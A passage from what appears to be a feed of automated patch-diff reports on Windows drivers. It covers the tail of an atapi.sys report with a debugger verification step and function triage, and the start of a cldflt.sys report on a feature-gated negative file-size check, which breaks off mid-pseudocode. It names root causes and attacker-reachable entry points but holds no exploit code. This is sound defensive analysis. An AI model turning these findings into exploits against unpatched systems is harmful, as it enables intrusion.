&lt;p&gt;At &lt;code&gt;atapi+0x2029&lt;/code&gt;, step over the &lt;code&gt;AtaPortReadPortUchar&lt;/code&gt; call, set &lt;code&gt;al = 0xff&lt;/code&gt;, and continue. In the unpatched binary the function returns &lt;code&gt;dil == 0&lt;/code&gt; while &lt;code&gt;byte [r15] == 0xFF&lt;/code&gt;; in the patched binary the entry guard at &lt;code&gt;0x2006&lt;/code&gt; (or the same value re-read) yields a return of &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Verified structure offsets&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;IDE_REQUEST_BLOCK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;IRB&lt;/span&gt;&lt;span class="o"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nt"&gt;0x06&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;Target&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dl&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;callers&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nt"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;Flags&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mov edx, &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bit-tested&lt;/span&gt;

&lt;span class="nt"&gt;Channel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;extension&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nt"&gt;0x48&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;I&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;O&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;retry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loop&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;per-device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;Target&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;3&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x38&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nt"&gt;0x0B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;sector-size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;multiplier&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nt"&gt;0x20&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;block&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Behavioral / security-relevant:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AtapiNoDeviceConnected (sub_1C0001FC8)&lt;/code&gt; (sim 0.94) — &lt;strong&gt;the fix.&lt;/strong&gt; Adds &lt;code&gt;cmp bl, 0FFh; jnz; mov edi, 1; jmp ret&lt;/code&gt; at function entry (&lt;code&gt;0x1c0002006&lt;/code&gt;–&lt;code&gt;0x1c0002010&lt;/code&gt;). Rest of the body unchanged. Status variable moved from &lt;code&gt;rbp&lt;/code&gt; to &lt;code&gt;rbx&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AtapiSendAtaIdentify (sub_1C00020C0)&lt;/code&gt; (sim 0.88) — Removes the inlined &lt;code&gt;cmp dl, 0xff; jz&lt;/code&gt; pre-check (&lt;code&gt;0x1c0002164&lt;/code&gt;), delegating &lt;code&gt;0xFF&lt;/code&gt; handling to the callee. Register reallocation.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AtapiSendAtaCommand (sub_1C0002200)&lt;/code&gt; (sim 0.95) — Removes its own &lt;code&gt;cmp al, 0xff; jz&lt;/code&gt; pre-check (&lt;code&gt;0x1c000226c&lt;/code&gt;) for the same reason. Also contains the &lt;code&gt;mov al&lt;/code&gt; → &lt;code&gt;movzx eax&lt;/code&gt; codegen change at &lt;code&gt;0x1c00023a3&lt;/code&gt;/&lt;code&gt;0x1c00023d0&lt;/code&gt;, which is behaviorally identical (see below).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Compiler-output / non-security:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AtapiProcessInterrupt (sub_1C0002AA0)&lt;/code&gt; (sim 0.92) — Same &lt;code&gt;mov al&lt;/code&gt; → &lt;code&gt;movzx eax&lt;/code&gt; codegen change (&lt;code&gt;0x1c0002c25&lt;/code&gt; → &lt;code&gt;0x1c0002c3f&lt;/code&gt;); the unpatched path already zero-extends via &lt;code&gt;movzx eax, al&lt;/code&gt; before &lt;code&gt;imul r14d, eax&lt;/code&gt; at &lt;code&gt;0x1c0002c37&lt;/code&gt;, so behavior is unchanged. Also control-flow restructuring and &lt;code&gt;test ... &amp;amp; 0x200&lt;/code&gt; → &lt;code&gt;bt ..., 9&lt;/code&gt; instruction equivalences.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AtapiSendAtapiCommand (sub_1C0002500)&lt;/code&gt; (sim 0.94) — Register allocation only; transfer-count clamp (&lt;code&gt;&amp;gt;= 0x10000&lt;/code&gt; → &lt;code&gt;0xFFFE&lt;/code&gt;) unchanged.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AtapiHandleMiniportCommand (sub_1C000272C)&lt;/code&gt; (sim 0.91) — Nested &lt;code&gt;if-else&lt;/code&gt; flattened; same comparisons.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WaitOnBusyUntil (sub_1C00012C8)&lt;/code&gt; (sim 0.92) — Error-handler invocation moved inline; identical observable behavior. (Status polling routine.)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AtapiInitializeDevice (sub_1C0001D64)&lt;/code&gt; (sim 0.93) — Loop-counter arithmetic restructured.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AtapiWaitStatusAsync (sub_1C0003730)&lt;/code&gt; (sim 0.98), &lt;code&gt;AtapiResetAtapiDevices (sub_1C00039C0)&lt;/code&gt; (sim 0.97), &lt;code&gt;AtapiHwStartIo (sub_1C0001700)&lt;/code&gt; (sim 0.97), &lt;code&gt;AtapiSetDmaTransferModeAsync (sub_1C0003C80)&lt;/code&gt; (sim 0.97), &lt;code&gt;AtapiHwBuildIo (sub_1C0001690)&lt;/code&gt; (sim 0.97), &lt;code&gt;AtapiSetBlockSizeAsync (sub_1C0003EC0)&lt;/code&gt; (sim 0.98), &lt;code&gt;AtapiSetupGeometryAsync (sub_1C0003DF0)&lt;/code&gt; (sim 0.98), &lt;code&gt;AtapiSetPioTransferModeAsync (sub_1C0003BD0)&lt;/code&gt; (sim 0.99), &lt;code&gt;__GSHandlerCheckCommon (sub_1C0003FFC)&lt;/code&gt; (sim 0.99), &lt;code&gt;AtapiCompleteRequest (sub_1C0002DDC)&lt;/code&gt; (sim 0.99) — All compiler-output churn: shifted function-pointer addresses for self-references and callees, &lt;code&gt;test ... &amp;amp; 0x200&lt;/code&gt; → &lt;code&gt;bt ..., 9&lt;/code&gt;, loop-counter arithmetic, stack-init reordering, and an alignment-check type widening. No semantic change.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None. &lt;code&gt;unmatched_unpatched = 0&lt;/code&gt;, &lt;code&gt;unmatched_patched = 0&lt;/code&gt;. No added sanitizers, removed checks, or new mitigations beyond the inline &lt;code&gt;0xFF&lt;/code&gt; test in &lt;code&gt;AtapiNoDeviceConnected (sub_1C0001FD8)&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: HIGH&lt;/strong&gt; that the primary change is the added &lt;code&gt;0xFF&lt;/code&gt; status check in &lt;code&gt;AtapiNoDeviceConnected&lt;/code&gt;. The diff is unambiguous: a new &lt;code&gt;cmp bl, 0FFh; jnz; mov edi, 1; jmp ret&lt;/code&gt; block at function entry, and both callers shed their own &lt;code&gt;0xFF&lt;/code&gt; pre-checks because the callee now owns that classification.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Caveats:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;mov al&lt;/code&gt; → &lt;code&gt;movzx eax&lt;/code&gt; change in &lt;code&gt;AtapiSendAtaCommand (sub_1C0002200)&lt;/code&gt; and &lt;code&gt;AtapiProcessInterrupt (sub_1C0002AA0)&lt;/code&gt; is behaviorally identical in both builds: the unpatched code performs &lt;code&gt;movzx eax, al&lt;/code&gt; before the multiplication (&lt;code&gt;0x1c00023b4&lt;/code&gt;, &lt;code&gt;0x1c0002c37&lt;/code&gt;), so the multiplier value entering &lt;code&gt;imul&lt;/code&gt; is the same. This is a compiler-output difference, not a security change.&lt;/li&gt;
&lt;li&gt;The result-code interpretation (&lt;code&gt;5&lt;/code&gt; = device error, &lt;code&gt;6&lt;/code&gt; = retry-class) is read from the caller's branch structure: &lt;code&gt;5&lt;/code&gt; is the code produced by the caller's own &lt;code&gt;0xFF&lt;/code&gt; pre-check, and &lt;code&gt;6&lt;/code&gt; is the code reached when the callee returns &lt;code&gt;0&lt;/code&gt; and the caller's signed status test then routes an absent (&lt;code&gt;0xFF&lt;/code&gt;) device. The caller dispatch chain (&lt;code&gt;AtapiHwStartIo&lt;/code&gt; → &lt;code&gt;AtapiSendAtaIdentify&lt;/code&gt; / &lt;code&gt;AtapiSendAtaCommand&lt;/code&gt;) is inferred from call targets in the disassembly.&lt;/li&gt;
&lt;li&gt;Reachability of the closed window depends on device/hardware timing (physical removal or crafted-hardware status sequences), not on software-supplied request data.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>cldflt.sys — Negative file size / valid-data-length accepted in placeholder update path (CWE-1284) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/cldflt_6189d81f-cldflt-report-20260628-213204.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/cldflt_6189d81f-cldflt-report-20260628-213204.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;cldflt_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;cldflt_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Similarity Score:&lt;/strong&gt; 0.9884&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 888 matched functions (879 identical, 9 changed). 0 unmatched functions in either binary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The security-relevant change is in &lt;code&gt;HsmiOpUpdatePlaceholderFile (sub_1C006BC60 → sub_1C006A9B8)&lt;/code&gt;. In the unpatched driver the check that rejects a negative file size / valid-data-length (&lt;code&gt;*a9 &amp;lt; 0&lt;/code&gt;) is gated behind the staging feature &lt;code&gt;g_Feature_2333116728_58628732&lt;/code&gt;; when that feature is disabled the rejection is skipped and a negative (interpreted as a very large unsigned) size flows into the placeholder size/metadata operations (&lt;code&gt;FltSetInformationFile(FileEndOfFileInformation)&lt;/code&gt;, &lt;code&gt;HsmpSetFileVDL&lt;/code&gt;, &lt;code&gt;HsmpUpdateBitmapSizesNoLock&lt;/code&gt;, and the placeholder size field at &lt;code&gt;+0x98&lt;/code&gt; of the context). The patch removes the feature gate entirely (the feature is absent from the patched binary) so the negative-size rejection is enforced unconditionally. The remaining changed functions are servicing-feature refactoring: the sync-root connect handler &lt;code&gt;CldSyncConnectRoot&lt;/code&gt; and the service-command dispatcher &lt;code&gt;CldiPortProcessServiceCommands&lt;/code&gt; drop a feature flag (&lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue_60816934&lt;/code&gt;) that selected between two already-equivalent code paths, and several functions only change the feature-evaluation call signature or relocate logging. Those are not security-relevant.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Negative File Size / Valid-Data-Length Rejection Made Unconditional in Placeholder Update&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; CWE-1284 (Improper Validation of Specified Quantity in Input) / CWE-20 (Improper Input Validation)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;HsmiOpUpdatePlaceholderFile (sub_1C006BC60 → sub_1C006A9B8)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; &lt;code&gt;HsmiOpUpdatePlaceholderFile&lt;/code&gt; takes a pointer argument (&lt;code&gt;a9&lt;/code&gt;) to a signed 64-bit file size / valid-data-length supplied by the caller. In the unpatched binary the guard that rejects a negative value is &lt;code&gt;if (EvaluateCurrentState(&amp;amp;g_Feature_2333116728_58628732_FeatureDescriptorDetails) &amp;amp;&amp;amp; a9 != nullptr &amp;amp;&amp;amp; *a9 &amp;lt; 0)&lt;/code&gt; — the rejection only runs when the staging feature &lt;code&gt;g_Feature_2333116728_58628732&lt;/code&gt; is enabled. When that feature is disabled, &lt;code&gt;EvaluateCurrentState&lt;/code&gt; returns &lt;code&gt;FALSE&lt;/code&gt;, the guard is skipped, and a negative &lt;code&gt;*a9&lt;/code&gt; proceeds. Downstream the same pointer (&lt;code&gt;v45 = a9&lt;/code&gt;) is consumed as a size: &lt;code&gt;FltSetInformationFile(..., a9, 8, FileEndOfFileInformation)&lt;/code&gt;, &lt;code&gt;HsmpUpdateBitmapSizesNoLock(a2, *a9)&lt;/code&gt;, a store into the placeholder context (&lt;code&gt;**(a2 + 0x98) = *a9&lt;/code&gt;), and &lt;code&gt;HsmpSetFileVDL(..., FileObject, *a9)&lt;/code&gt;. A negative signed value is a very large unsigned quantity when used as a length. The patch removes the feature gate; the patched guard is simply &lt;code&gt;if (a9 != nullptr &amp;amp;&amp;amp; *a9 &amp;lt; 0)&lt;/code&gt;, so the negative-size rejection (&lt;code&gt;STATUS 0xC000CF0B&lt;/code&gt;) is always performed. The feature symbol &lt;code&gt;g_Feature_2333116728_58628732&lt;/code&gt; is entirely absent from the patched binary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Direction:&lt;/strong&gt; The patched build is the stricter one. The unpatched build could skip the rejection (feature off); the patched build always rejects. This is a delivered input-validation hardening, not a relaxation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point:&lt;/strong&gt; Cloud Files placeholder-update operation. &lt;code&gt;HsmiOpUpdatePlaceholderFile&lt;/code&gt; is called by &lt;code&gt;HsmFltProcessUpdatePlaceholder&lt;/code&gt;, which parses the size/length fields out of a caller-supplied buffer (&lt;code&gt;v11 + 0x3C/0x40/0x44/0x48&lt;/code&gt; offsets) before passing them down, and by &lt;code&gt;HsmRecallUpdatePlaceholderFile&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Impact:&lt;/strong&gt; No memory-corruption primitive is demonstrated. The rejected value is a file size / valid-data-length that feeds &lt;code&gt;FltSetInformationFile(FileEndOfFileInformation)&lt;/code&gt; and &lt;code&gt;HsmpSetFileVDL&lt;/code&gt;; the underlying file-system layer performs its own validation of these values. The demonstrable difference is that a caller-supplied negative size is consistently rejected only after the patch. Severity is Low.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: Feature-Flag-Gated Divergence in Sync-Root Context Entry Reuse — No Security Impact&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; None (informational)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Not applicable — no CWE condition present. (Considered CWE-416 / CWE-672; neither is reachable because both builds gate reuse on refcount.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;CldSyncConnectRoot (sub_1C0033950 → sub_1C0032880)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; In the unpatched binary, &lt;code&gt;CldSyncConnectRoot&lt;/code&gt; looks up an existing sync-root context entry in an AVL tree (&lt;code&gt;RtlLookupElementGenericTableAvl&lt;/code&gt; on &lt;code&gt;a1+0x10&lt;/code&gt;). A feature flag (&lt;code&gt;EvaluateCurrentState(&amp;amp;reg_FeatureDescriptors_a)&lt;/code&gt;, which resolves to &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue_60816934&lt;/code&gt;) selects between two branches. When the flag returns &lt;code&gt;TRUE&lt;/code&gt; (retained path) the function first treats an entry whose connected-object id (&lt;code&gt;+0x60&lt;/code&gt;) is &lt;code&gt;0&lt;/code&gt; as a free slot and recreates it, then on an identity match requires &lt;code&gt;refcount (+0x30) &amp;gt; 0&lt;/code&gt; before returning the entry. When the flag returns &lt;code&gt;FALSE&lt;/code&gt; (legacy path) the function instead uses &lt;code&gt;refcount (+0x30) &amp;gt; 0&lt;/code&gt; as the first gate before the identity match and lacks the &lt;code&gt;connectedId == 0&lt;/code&gt; recovery, so a live entry with a zero connected id yields &lt;code&gt;STATUS 0xC000CF09&lt;/code&gt; instead of being recreated. Both branches require &lt;code&gt;refcount &amp;gt; 0&lt;/code&gt; before handing an existing entry back to the caller, so an entry with an exhausted refcount is never returned in either binary. The patch removes the flag and always takes the &lt;code&gt;TRUE&lt;/code&gt;-branch logic. Because the two paths are equivalent with respect to the refcount gate, there is no use-after-free and no security-relevant difference; the only behavioral difference is error-vs-recreate for a disconnected slot.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point:&lt;/strong&gt; Cloud Files communication-port service command (the user-mode sync provider's &lt;code&gt;CfConnectSyncRoot&lt;/code&gt;-style message), delivered to the registered &lt;code&gt;FLT_MESSAGE_NOTIFY&lt;/code&gt; callback, not an &lt;code&gt;IRP_MJ_SET_REPARSE_POINT&lt;/code&gt; file-system operation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Call Chain:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CldHsmInitialize (sub_1C0075010)&lt;/code&gt; — driver init, calls &lt;code&gt;CldPortInitialize&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CldPortInitialize (sub_1C00320F8)&lt;/code&gt; — registers &lt;code&gt;CldiPortNotifyMessage&lt;/code&gt; as the port &lt;code&gt;FLT_MESSAGE_NOTIFY&lt;/code&gt; callback.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CldiPortNotifyMessage (sub_1C002F5B0)&lt;/code&gt; — runtime port-message callback (attacker-reachable entry).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CldiPortProcessServiceCommands (sub_1C002A7E8)&lt;/code&gt; — service-command dispatch.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CldSyncConnectRoot (sub_1C0033950)&lt;/code&gt; — AVL sync-root entry lookup/create with feature-flag path divergence.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 3: Feature-Flag-Gated Sync-Root Insert Method Divergence — No Security Impact&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; None (informational)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Not applicable — no CWE condition present. (Considered CWE-668 / state inconsistency; both flag paths insert the entry, so there is no tracking bypass.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;CldiPortProcessServiceCommands (sub_1C002A7E8 → sub_1C00297E4)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; After a successful connect, the unpatched binary uses the same &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue_60816934&lt;/code&gt; flag (&lt;code&gt;EvaluateCurrentState(&amp;amp;reg_FeatureDescriptors_a)&lt;/code&gt;) to select how the sync root is inserted into the tracking AVL table. When the flag is &lt;code&gt;TRUE&lt;/code&gt; it calls the helper &lt;code&gt;CldiPortInsertSyncRootNoLock (sub_1C002A6C8)&lt;/code&gt;; when &lt;code&gt;FALSE&lt;/code&gt; it performs an inline &lt;code&gt;RtlInsertElementGenericTableAvl&lt;/code&gt; on &lt;code&gt;a1+0x60&lt;/code&gt;. Both paths insert the entry; they differ in method and in the extra bookkeeping the helper performs. The patch removes the flag and always uses &lt;code&gt;CldiPortInsertSyncRootNoLock&lt;/code&gt;. Both paths insert, so there is no tracking bypass and no security-relevant difference.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Call Chain:&lt;/strong&gt; Follows the same dispatch path as Finding 2, terminating at &lt;code&gt;CldiPortProcessServiceCommands (sub_1C002A7E8)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding 1 — &lt;code&gt;HsmiOpUpdatePlaceholderFile&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED: negative-size rejection gated behind the staging feature ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_2333116728_58628732_FeatureDescriptorDetails&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SyncPolicy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000CF0B&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// reject negative size&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// feature OFF -&amp;gt; guard skipped -&amp;gt; negative *a9 continues to the size operations below&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED: rejection is unconditional (feature gate removed) ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
